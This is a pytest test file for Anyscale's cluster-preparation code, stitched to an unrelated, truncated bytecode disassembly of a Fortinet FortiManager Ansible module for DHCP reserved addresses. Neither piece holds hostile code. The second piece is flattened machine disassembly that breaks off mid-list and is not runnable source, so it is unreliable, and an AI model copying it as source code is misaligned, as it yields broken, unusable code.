name="cluster-newgen" ) mock_get_cluster = Mock(side_effect=[mock_taken_cluster, None, mock_new_cluster]) mock_prepare_cluster_block._validate_new_cluster_compute_and_env_match_existing_cluster = ( Mock() ) with patch.multiple( "anyscale.connect_utils.prepare_cluster", get_cluster=mock_get_cluster ): mock_prepare_cluster_block._create_or_update_session_data( "cluster-exists", "test_project_id", "test_build_id", "test_compute_template_id", 100, None, True, ) mock_get_cluster.assert_has_calls( [ call( mock_prepare_cluster_block.anyscale_api_client, "test_project_id", "cluster-exists", ), call( mock_prepare_cluster_block.anyscale_api_client, "test_project_id", ANY, ), call( mock_prepare_cluster_block.anyscale_api_client, "test_project_id", ANY, ), ] ) cluster_name_of_first_get_cluster_call = mock_get_cluster.call_args_list[0][0][-1] cluster_name_of_last_get_cluster_call = mock_get_cluster.call_args_list[-1][0][-1] assert ( cluster_name_of_first_get_cluster_call != cluster_name_of_last_get_cluster_call ) mock_prepare_cluster_block.anyscale_api_client.create_cluster.assert_called_once_with( CreateCluster( name=ANY, project_id="test_project_id", cluster_environment_build_id="test_build_id", cluster_compute_id="test_compute_template_id", idle_timeout_minutes=100, allow_public_internet_traffic=None, ) ) mock_prepare_cluster_block.anyscale_api_client.update_cluster.assert_not_called() mock_prepare_cluster_block._validate_new_cluster_compute_and_env_match_existing_cluster.assert_not_called() @pytest.mark.parametrize("needs_update", [True, False]) @pytest.mark.parametrize("cluster_exists", [True, False]) @pytest.mark.parametrize("cluster_name", ["test_cluster_name", None]) @pytest.mark.parametrize("cluster_state", ["Running", "Other"]) def test_get_prepare_cluster_action( mock_prepare_cluster_block, needs_update: bool, cluster_exists: bool, cluster_name: Optional[str], cluster_state: str, ): mock_cluster = Mock(state=cluster_state) mock_cluster.name = cluster_name mock_prepare_cluster_block.anyscale_api_client.search_clusters = Mock( return_value=Mock(results=[mock_cluster] if cluster_exists else []) ) mock_prepare_cluster_block.anyscale_api_client.get_session = Mock( return_value=Mock(result=mock_cluster if cluster_exists else None) ) prepare_cluster_action = mock_prepare_cluster_block._get_prepare_cluster_action( "test_project_id", cluster_name, needs_update ) if not cluster_name or not cluster_exists: assert prepare_cluster_action == PrepareClusterAction.CREATE elif cluster_state != "Running": assert prepare_cluster_action == PrepareClusterAction.START elif needs_update: assert prepare_cluster_action == PrepareClusterAction.UPDATE else: assert prepare_cluster_action == PrepareClusterAction.NO_OP if cluster_name: mock_prepare_cluster_block.anyscale_api_client.search_clusters.assert_called_once_with( { "project_id": "test_project_id", "name": {"equals": cluster_name}, "archive_status": "ALL", }, ) @pytest.mark.parametrize("cluster_env_name", ["test_cluster_env_name", None]) def test_get_cluster_build(mock_prepare_cluster_block, cluster_env_name: Optional[str]): mock_build = Mock() mock_prepare_cluster_block._get_cluster_env_build = Mock(return_value=mock_build) mock_prepare_cluster_block._get_default_cluster_env_build = Mock( return_value=mock_build ) assert ( mock_prepare_cluster_block._get_cluster_build(cluster_env_name, None) == mock_build ) if cluster_env_name: mock_prepare_cluster_block._get_cluster_env_build.assert_called_once_with( cluster_env_name, None ) else: mock_prepare_cluster_block._get_default_cluster_env_build.assert_called_once_with() @pytest.mark.parametrize("clust_env_revision", [None, 1]) def test_get_cluster_env_build( mock_prepare_cluster_block, clust_env_revision: Optional[int] ): mock_cluster_env = Mock(id="test_app_template_id") mock_cluster_env.name = "test_cluster_env_name" mock_prepare_cluster_block.anyscale_api_client.list_app_configs = Mock( return_value=Mock( results=[mock_cluster_env], metadata=Mock(next_paging_token=None) ) ) mock_build1 = Mock(id="build1", revision=1) mock_build2 = Mock(id="build2", revision=2) mock_prepare_cluster_block.anyscale_api_client.list_builds = Mock( return_value=Mock( results=[mock_build1, mock_build2], metadata=Mock(next_paging_token=None) ) ) if clust_env_revision == 1: assert ( mock_prepare_cluster_block._get_cluster_env_build( "test_cluster_env_name", clust_env_revision ) == mock_build1 ) else: assert ( mock_prepare_cluster_block._get_cluster_env_build( "test_cluster_env_name", clust_env_revision ) == mock_build2 ) @pytest.mark.parametrize("build_pr", [None, "test_build_pr"]) @pytest.mark.parametrize("build_commit", [None, "test_build_commit"]) @pytest.mark.parametrize("cluster_env_name", [None, "test_cluster_env:name"]) @pytest.mark.parametrize("cluster_env_dict", [None, {"key": "val"}]) def test_build_cluster_env_if_needed( mock_prepare_cluster_block, build_pr: Optional[str], build_commit: Optional[str], cluster_env_name: Optional[str], cluster_env_dict: Optional[Dict[str, Any]], ): mock_prepare_cluster_block._build_app_config_from_source = Mock( return_value="test_built_cluster_env_name" ) observed_result = mock_prepare_cluster_block._build_cluster_env_if_needed( "test_project_id", build_pr, build_commit, cluster_env_dict, cluster_env_name, False, ) if build_pr or build_commit: assert observed_result == "test_built_cluster_env_name" elif cluster_env_dict: if cluster_env_name: assert observed_result == "test_cluster_env-name" else: assert observed_result.startswith("anonymous_cluster_env-") mock_prepare_cluster_block.anyscale_api_client.create_app_config.assert_called_once_with( { "name": observed_result, "project_id": "test_project_id", "config_json": cluster_env_dict, } ) else: assert observed_result == cluster_env_name @pytest.mark.parametrize("cluster_compute_version", [None, 2]) @pytest.mark.parametrize("cluster_compute_name", [None, "test_cluster_compute_name"]) @pytest.mark.parametrize("cluster_compute_dict", [None, {"cloud_id": "mock_cloud_id"}]) @pytest.mark.parametrize("cloud_name", [None, "test_cloud_name"]) def test_get_cluster_compute_id( mock_prepare_cluster_block, cluster_compute_name: Optional[str], cluster_compute_dict: Optional[Dict[str, str]], cloud_name: Optional[str], cluster_compute_version: Optional[int], ): cloud_id = "test_cloud_id" mock_get_selected_cloud_id_or_default = Mock(return_value=cloud_id) mock_default_config_obj = Mock() mock_config_obj_from_cluster_compute_dict = Mock() mock_prepare_cluster_block.anyscale_api_client.get_default_compute_config = Mock( return_value=Mock(result=mock_default_config_obj) ) mock_prepare_cluster_block._register_compute_template = Mock( return_value="mock_registered_template" ) mock_prepare_cluster_block._get_cluster_compute_id_from_name = Mock( return_value="mock_cluster_compute_template" ) with patch.multiple( "anyscale.connect_utils.prepare_cluster", ComputeTemplateConfig=Mock( return_value=mock_config_obj_from_cluster_compute_dict ), get_selected_cloud_id_or_default=mock_get_selected_cloud_id_or_default, ): observed_result = mock_prepare_cluster_block._get_cluster_compute_id( "test_project_id", cluster_compute_name, cluster_compute_dict, cloud_name, cluster_compute_version, ) if cluster_compute_name: mock_prepare_cluster_block._get_cluster_compute_id_from_name.assert_called_once_with( cluster_compute_name, cluster_compute_version ) assert observed_result == "mock_cluster_compute_template" else: if cluster_compute_dict: mock_config_obj = mock_config_obj_from_cluster_compute_dict else: mock_prepare_cluster_block.anyscale_api_client.get_default_compute_config.assert_called_once_with( cloud_id ) mock_config_obj = mock_default_config_obj mock_prepare_cluster_block._register_compute_template.assert_called_once_with( "test_project_id", mock_config_obj ) assert observed_result == "mock_registered_template" @pytest.mark.parametrize("cluster_compute_version", [None, 2]) @pytest.mark.parametrize("cluster_computes", [[], [Mock(id="test_cluster_compute_id")]]) def test_get_cluster_compute_id_from_name( mock_prepare_cluster_block, cluster_computes: List[Any], cluster_compute_version: Optional[int], ): mock_prepare_cluster_block.api_client.search_compute_templates_api_v2_compute_templates_search_post = Mock( return_value=Mock(results=cluster_computes) ) if len(cluster_computes) == 0: with pytest.raises(ValueError): mock_prepare_cluster_block._get_cluster_compute_id_from_name( "test_cluster_compute_name", cluster_compute_version ) else: assert ( mock_prepare_cluster_block._get_cluster_compute_id_from_name( "test_cluster_compute_name", cluster_compute_version ) == cluster_computes[0].id ) def test_is_equal_cluster_compute(mock_prepare_cluster_block): def mock_get_compute_template(cluster_compute_id: str): if cluster_compute_id == "cluster_compute_1_id": return Mock(result=Mock(config=cluster_compute_1)) elif cluster_compute_id == "cluster_compute_2_id": return Mock(result=Mock(config=cluster_compute_2)) mock_prepare_cluster_block.anyscale_api_client.get_compute_template = Mock( side_effect=mock_get_compute_template ) cluster_compute_1 = "test_cluster_compute" cluster_compute_2 = "test_cluster_compute" assert mock_prepare_cluster_block._is_equal_cluster_compute( "cluster_compute_1_id", "cluster_compute_2_id" ) cluster_compute_1 = "test_cluster_compute" cluster_compute_2 = "test_diff_cluster_compute" assert not mock_prepare_cluster_block._is_equal_cluster_compute( "cluster_compute_1_id", "cluster_compute_2_id" ) @pytest.mark.parametrize("build_matches", [True, False]) @pytest.mark.parametrize("cluster_compute_matches", [True, False]) @pytest.mark.parametrize("allow_public_internet_traffic_matches", [True, False]) def test_validate_new_cluster_compute_and_env_match_existing_cluster( mock_prepare_cluster_block, build_matches: bool, cluster_compute_matches: bool, allow_public_internet_traffic_matches: bool, ): mock_cluster = Mock() mock_cluster.build_id = "mock_build_id1" mock_cluster.allow_public_internet_traffic = True mock_prepare_cluster_block.cluster_env_name = "test_cluster_env_name" mock_prepare_cluster_block.cluster_env_revision = "test_cluster_env_revision" mock_prepare_cluster_block.cluster_compute_name = "test_cluster_compute_name" mock_prepare_cluster_block.cluster_compute_dict = "test_cluster_compute_dict" mock_prepare_cluster_block.cloud_name = "test_cloud_name" mock_prepare_cluster_block.cluster_env_dict = "test_cluster_env_dict" mock_prepare_cluster_block.cluster_compute_version = 2 mock_prepare_cluster_block._get_cluster_compute_id = Mock() if build_matches: mock_prepare_cluster_block._get_cluster_build = Mock( return_value=Mock(id="mock_build_id1") ) else: mock_prepare_cluster_block._get_cluster_build = Mock( return_value=Mock(id="mock_build_id2") ) mock_prepare_cluster_block._is_equal_cluster_compute = Mock( return_value=cluster_compute_matches ) mock_prepare_cluster_block.allow_public_internet_traffic = ( allow_public_internet_traffic_matches ) observed_result = mock_prepare_cluster_block._validate_new_cluster_compute_and_env_match_existing_cluster( "test_projet_id", mock_cluster, ) if ( not build_matches or cluster_compute_matches or not allow_public_internet_traffic_matches ): assert observed_result @pytest.mark.parametrize("cluster_compute_version", [0, 2]) @pytest.mark.parametrize( "get_prepare_cluster_action", [ PrepareClusterAction.CREATE, PrepareClusterAction.START, PrepareClusterAction.NO_OP, ], ) @pytest.mark.parametrize("cluster_compute_name", ["test_cluster_compute_name", None]) @pytest.mark.parametrize("cluster_env_name", ["test_cluster_env_name", None]) def test_init( get_prepare_cluster_action: bool, cluster_compute_name: Optional[str], cluster_env_name: Optional[str], cluster_compute_version: Optional[int], ): cluster_name = "test_cluster_name" mock_get_prepare_cluster_action = Mock(return_value=get_prepare_cluster_action) mock_cluster = Mock( cloud_id="mock_cloud_id", compute_template_id="mock_cluster_compute_id" ) mock_cluster.name = "test_cluster_name" mock_build_cluster_env_if_needed = Mock(return_value=cluster_env_name) mock_get_cluster_build = Mock(return_value=Mock(id="mock_build_id")) mock_get_selected_cloud_id_or_default = Mock(return_value="mock_cloud_id") mock_get_cluster_compute_id = Mock(return_value="mock_cluster_compute_id") mock_wait_for_app_build = Mock() mock_start_or_create_cluster = Mock(return_value="test_cluster_name") mock_validate_new_cluster_compute_and_env_match_existing_cluster = Mock() mock_log_cluster_configs = Mock() mock_cluster_compute_dict = Mock() mock_force_rebuild = Mock() mock_cluster_env_dict = Mock() mock_cluster_env_revision = Mock() with patch.multiple( "anyscale.connect_utils.prepare_cluster.PrepareClusterBlock", _log_cluster_configs=mock_log_cluster_configs, _validate_new_cluster_compute_and_env_match_existing_cluster=mock_validate_new_cluster_compute_and_env_match_existing_cluster, _start_or_create_cluster=mock_start_or_create_cluster, _wait_for_app_build=mock_wait_for_app_build, _get_cluster_compute_id=mock_get_cluster_compute_id, _get_cluster_build=mock_get_cluster_build, _build_cluster_env_if_needed=mock_build_cluster_env_if_needed, _get_prepare_cluster_action=mock_get_prepare_cluster_action, ), patch.multiple( "anyscale.connect_utils.prepare_cluster", get_cluster=Mock(return_value=mock_cluster), get_auth_api_client=Mock(return_value=Mock()), get_selected_cloud_id_or_default=mock_get_selected_cloud_id_or_default, ): prepare_cluster_block = PrepareClusterBlock( project_id="test_project_id", cluster_name=cluster_name, autosuspend_timeout=10, allow_public_internet_traffic=None, needs_update=False, cluster_compute_name=cluster_compute_name, cluster_compute_dict=mock_cluster_compute_dict, cloud_name="test_cloud_name", build_pr=None, force_rebuild=mock_force_rebuild, build_commit=None, cluster_env_name=cluster_env_name, cluster_env_dict=mock_cluster_env_dict, cluster_env_revision=mock_cluster_env_revision, ray=Mock(), cluster_compute_version=cluster_compute_version, ) prepare_cluster_block.prepare() assert prepare_cluster_block.cluster_name == "test_cluster_name" mock_get_prepare_cluster_action.assert_called_once_with( "test_project_id", cluster_name, False ) if get_prepare_cluster_action in { PrepareClusterAction.CREATE, PrepareClusterAction.START, }: mock_build_cluster_env_if_needed.assert_called_once_with( "test_project_id", None, None, mock_cluster_env_dict, cluster_env_name, mock_force_rebuild, ) if cluster_env_name or not cluster_name: mock_get_cluster_build.assert_called_once_with( cluster_env_name, mock_cluster_env_revision ) build_id = "mock_build_id" else: build_id = mock_cluster.build_id if cluster_compute_name: mock_get_cluster_compute_id.assert_called_once_with( "test_project_id", cluster_compute_name, mock_cluster_compute_dict, "test_cloud_name", cluster_compute_version, ) mock_wait_for_app_build.assert_called_once_with("test_project_id", build_id) mock_start_or_create_cluster.assert_called_once_with( project_id="test_project_id", build_id=build_id, compute_template_id="mock_cluster_compute_id", cluster_name=cluster_name, autosuspend_timeout=10, allow_public_internet_traffic=None, ) else: mock_validate_new_cluster_compute_and_env_match_existing_cluster.assert_called_once_with( project_id="test_project_id", running_cluster=mock_cluster ) mock_log_cluster_configs.assert_called_once_with( mock_cluster, mock_cluster.build_id, mock_cluster.compute_template_id, ANY, ) mock_start_or_create_cluster.assert_not_called() @pytest.mark.parametrize("idle_timeout", [60, -1]) @pytest.mark.parametrize("maximum_uptime_minutes", [60, -1]) def test_log_cluster_configs( mock_prepare_cluster_block, idle_timeout: int, maximum_uptime_minutes: int, ) -> None: mock_prepare_cluster_block.anyscale_api_client.get_build = Mock( return_value=Mock(result=Mock(application_template_id="env_name", revision=1)) ) mock_compute_config_config = Mock( id="id", config=Mock(maximum_uptime_minutes=maximum_uptime_minutes) ) mock_compute_config_config.name = "config_name" mock_prepare_cluster_block.anyscale_api_client.get_compute_template = Mock( return_value=Mock(result=mock_compute_config_config) ) mock_cluster = Mock(id="ses_1", idle_timeout=idle_timeout) mock_build_id = "build_id" mock_compute_template_id = "compute_template_id" mock_url = "url" mock_prepare_cluster_block._log_cluster_configs( mock_cluster, mock_build_id, mock_compute_template_id, mock_url ) mock_prepare_cluster_block.anyscale_api_client.get_build.assert_called_once_with( mock_build_id ) mock_prepare_cluster_block.anyscale_api_client.get_compute_template.assert_called_once_with( mock_compute_template_id ) def call_args_for_log_line(name: str, value: str) -> _Call: return call(f"{' ' * 2}{(name + ':').ljust(30)}{value}", block_label="") def get_auto_terminate_output(value: int) -> str: return f"{value} minutes" if value > 0 else "disabled" mock_prepare_cluster_block.log.info.assert_has_calls( [ call_args_for_log_line("cluster id", "ses_1"), call_args_for_log_line("cluster environment", "env_name:1"), call_args_for_log_line("cluster environment id", "build_id"), call_args_for_log_line("cluster compute", "config_name"), call_args_for_log_line("cluster compute id", "compute_template_id"), call_args_for_log_line( "idle termination", get_auto_terminate_output(idle_timeout) ), call_args_for_log_line( "maximum uptime", get_auto_terminate_output(maximum_uptime_minutes) ), call_args_for_log_line("link", "url"), ] )
data/anyscale-0.5.180/tests/connect_utils/test_prepare_cluster.py
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LOAD_CONST 0 LOAD_CONST ('absolute_import', 'division', 'print_function') IMPORT_NAME __future__ IMPORT_FROM absolute_import STORE_NAME absolute_import IMPORT_FROM division STORE_NAME division IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_NAME type STORE_NAME __metaclass__ LOAD_CONST 'preview' BUILD_LIST LOAD_CONST 'community' LOAD_CONST '1.1' LOAD_CONST ('status', 'supported_by', 'metadata_version') BUILD_CONST_KEY_MAP STORE_NAME ANSIBLE_METADATA LOAD_CONST '\n---\nmodule: fmgr_fsp_vlan_dynamicmapping_dhcpserver_reservedaddress\nshort_description: Options for the DHCP server to assign IP settings to specific MAC addresses.\ndescription:\n - This module is able to configure a FortiManager device.\n - Examples include all parameters and values which need to be adjusted to data sources before usage.\n\nversion_added: "2.0.0"\nauthor:\n - Xinwei Du (@dux-fortinet)\n - Xing Li (@lix-fortinet)\n - Jie Xue (@JieX19)\n - Link Zheng (@chillancezen)\n - Frank Shen (@fshen01)\n - Hongbin Lu (@fgtdev-hblu)\nnotes:\n - Running in workspace locking mode is supported in this FortiManager module, the top\n level parameters workspace_locking_adom and workspace_locking_timeout help do the work.\n - To create or update an object, use state present directive.\n - To delete an object, use state absent directive.\n - Normally, running one module can fail when a non-zero rc is returned. you can also override\n the conditions to fail or succeed with parameters rc_failed and rc_succeeded\n\noptions:\n access_token:\n description: The token to access FortiManager without using username and password.\n required: false\n type: str\n bypass_validation:\n description: Only set to True when module schema diffs with FortiManager API structure, module continues to execute without validating parameters.\n required: false\n type: bool\n default: false\n enable_log:\n description: Enable/Disable logging for task.\n required: false\n type: bool\n default: false\n forticloud_access_token:\n description: Authenticate Ansible client with forticloud API access token.\n required: false\n type: str\n proposed_method:\n description: The overridden method for the underlying Json RPC request.\n required: false\n type: str\n choices:\n - update\n - set\n - add\n rc_succeeded:\n description: The rc codes list with which the conditions to succeed will be overriden.\n type: list\n required: false\n elements: int\n rc_failed:\n description: The rc codes list with which the conditions to fail will be overriden.\n type: list\n required: false\n elements: int\n state:\n description: The directive to create, update or delete an object.\n type: str\n required: true\n choices:\n - present\n - absent\n workspace_locking_adom:\n description: The adom to lock for FortiManager running in workspace mode, the value can be global and others including root.\n required: false\n type: str\n workspace_locking_timeout:\n description: The maximum time in seconds to wait for other user to release the workspace lock.\n required: false\n type: int\n default: 300\n adom:\n description: the parameter (adom) in requested url\n type: str\n required: true\n vlan:\n description: the parameter (vlan) in requested url\n type: str\n required: true\n dynamic_mapping:\n description: the parameter (dynamic_mapping) in requested url\n type: str\n required: true\n fsp_vlan_dynamicmapping_dhcpserver_reservedaddress:\n description: the top level parameters set\n required: false\n type: dict\n suboptions:\n action:\n type: str\n description: no description\n choices:\n - \'assign\'\n - \'block\'\n - \'reserved\'\n circuit-id:\n type: str\n description: no description\n circuit-id-type:\n type: str\n description: no description\n choices:\n - \'hex\'\n - \'string\'\n description:\n type: str\n description: no description\n id:\n type: int\n description: no description\n required: true\n ip:\n type: str\n description: no description\n mac:\n type: str\n description: no description\n remote-id:\n type: str\n description: no description\n remote-id-type:\n type: str\n description: no description\n choices:\n - \'hex\'\n - \'string\'\n type:\n type: str\n description: no description\n choices:\n - \'mac\'\n - \'option82\'\n\n' STORE_NAME DOCUMENTATION LOAD_CONST '\n- hosts: fortimanager-inventory\n collections:\n - fortinet.fortimanager\n connection: httpapi\n vars:\n ansible_httpapi_use_ssl: True\n ansible_httpapi_validate_certs: False\n ansible_httpapi_port: 443\n tasks:\n - name: Options for the DHCP server to assign IP settings to specific MAC addresses.\n fmgr_fsp_vlan_dynamicmapping_dhcpserver_reservedaddress:\n bypass_validation: False\n workspace_locking_adom: <value in [global, custom adom including root]>\n workspace_locking_timeout: 300\n rc_succeeded: [0, -2, -3, ...]\n rc_failed: [-2, -3, ...]\n adom: <your own value>\n vlan: <your own value>\n dynamic_mapping: <your own value>\n state: <value in [present, absent]>\n fsp_vlan_dynamicmapping_dhcpserver_reservedaddress:\n action: <value in [assign, block, reserved]>\n circuit-id: <string>\n circuit-id-type: <value in [hex, string]>\n description: <string>\n id: <integer>\n ip: <string>\n mac: <string>\n remote-id: <string>\n remote-id-type: <value in [hex, string]>\n type: <value in [mac, option82]>\n\n' STORE_NAME EXAMPLES LOAD_CONST '\nmeta:\n description: The result of the request.\n type: dict\n returned: always\n contains:\n request_url:\n description: The full url requested.\n returned: always\n type: str\n sample: /sys/login/user\n response_code:\n description: The status of api request.\n returned: always\n type: int\n sample: 0\n response_data:\n description: The api response.\n type: list\n returned: always\n response_message:\n description: The descriptive message of the api response.\n type: str\n returned: always\n sample: OK.\n system_information:\n description: The information of the target system.\n type: dict\n returned: always\nrc:\n description: The status the request.\n type: int\n returned: always\n sample: 0\nversion_check_warning:\n description: Warning if the parameters used in the playbook are not supported by the current FortiManager version.\n type: list\n returned: complex\n' STORE_NAME RETURN LOAD_CONST 0 LOAD_CONST ('AnsibleModule',) IMPORT_NAME ansible.module_utils.basic IMPORT_FROM AnsibleModule STORE_NAME AnsibleModule POP_TOP LOAD_CONST 0 LOAD_CONST ('Connection',) IMPORT_NAME ansible.module_utils.connection IMPORT_FROM Connection STORE_NAME Connection POP_TOP LOAD_CONST 0 LOAD_CONST ('NAPIManager',) IMPORT_NAME ansible_collections.fortinet.fortimanager.plugins.module_utils.napi IMPORT_FROM NAPIManager STORE_NAME NAPIManager POP_TOP LOAD_CONST 0 LOAD_CONST ('check_galaxy_version',) IMPORT_NAME ansible_collections.fortinet.fortimanager.plugins.module_utils.napi IMPORT_FROM check_galaxy_version STORE_NAME check_galaxy_version POP_TOP LOAD_CONST 0 LOAD_CONST ('check_parameter_bypass',) IMPORT_NAME ansible_collections.fortinet.fortimanager.plugins.module_utils.napi IMPORT_FROM check_parameter_bypass STORE_NAME check_parameter_bypass POP_TOP LOAD_CONST <code object main at 0x7f8e2facc660, file "f.py", line 240> LOAD_CONST 'main' MAKE_FUNCTION STORE_NAME main LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_NAME main CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '/pm/config/adom/{adom}/obj/fsp/vlan/{vlan}/dynamic_mapping/{dynamic_mapping}/dhcp-server/reserved-address' LOAD_CONST '/pm/config/global/obj/fsp/vlan/{vlan}/dynamic_mapping/{dynamic_mapping}/dhcp-server/reserved-address' BUILD_LIST STORE_FAST jrpc_urls LOAD_CONST '/pm/config/adom/{adom}/obj/fsp/vlan/{vlan}/dynamic_mapping/{dynamic_mapping}/dhcp-server/reserved-address/{reserved-address}' LOAD_CONST '/pm/config/global/obj/fsp/vlan/{vlan}/dynamic_mapping/{dynamic_mapping}/dhcp-server/reserved-address/{reserved-address}' BUILD_LIST STORE_FAST perobject_jrpc_urls LOAD_CONST 'adom' LOAD_CONST 'vlan' LOAD_CONST 'dynamic_mapping' BUILD_LIST STORE_FAST url_params LOAD_CONST 'id' STORE_FAST module_primary_key LOAD_CONST 'str' LOAD_CONST False LOAD_CONST True LOAD_CONST ('type', 'required', 'no_log') BUILD_CONST_KEY_MAP LOAD_CONST 'bool' LOAD_CONST False LOAD_CONST False LOAD_CONST ('type', 'required', 'default') BUILD_CONST_KEY_MAP LOAD_CONST 'bool' LOAD_CONST False LOAD_CONST False LOAD_CONST ('type', 'required', 'default') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST False LOAD_CONST True LOAD_CONST ('type', 'required', 'no_log') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST False LOAD_CONST 'set' LOAD_CONST 'update' LOAD_CONST 'add' BUILD_LIST LOAD_CONST ('type', 'required', 'choices') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'list' LOAD_CONST 'int' LOAD_CONST ('required', 'type', 'elements') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'list' LOAD_CONST 'int' LOAD_CONST ('required', 'type', 'elements') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST True LOAD_CONST 'present' LOAD_CONST 'absent' BUILD_LIST LOAD_CONST ('type', 'required', 'choices') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST False LOAD_CONST ('type', 'required') BUILD_CONST_KEY_MAP LOAD_CONST 'int' LOAD_CONST False LOAD_CONST 300 LOAD_CONST ('type', 'required', 'default') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST 'str' LOAD_CONST ('required', 'type') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST 'str' LOAD_CONST ('required', 'type') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST 'str' LOAD_CONST ('required', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 'dict' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'assign' LOAD_CONST 'block' LOAD_CONST 'reserved' BUILD_LIST LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'choices', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', '6.2.8', '6.2.9', '6.2.10', '6.2.11', '6.2.12', '6.4.0', '6.4.1', '6.4.2', '6.4.3', '6.4.4', '6.4.5', '6.4.6', '6.4.7', '6.4.8', '6.4.9', '6.4.10', '6.4.11', '6.4.12', '6.4.13', '7.0.0', '7.0.1', '7.0.2', '7.0.3', '7.0.4', '7.0.5', '7.0.6', '7.0.7', '7.0.8', '7.0.9', '7.0.10', '7.2.0', '7.2.1', '7.2.2', '7.2.3', '7.2.4', '7.4.0', '7.4.1') BUILD_CONST_KEY_MAP LOAD_CONST 'str' LOAD_CONST ('required', 'revision', 'type') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST ('6.0.0', '6.2.0', '6.2.1', '6.2.2', '6.2.3', '6.2.5', '6.2.6', '6.2.7', 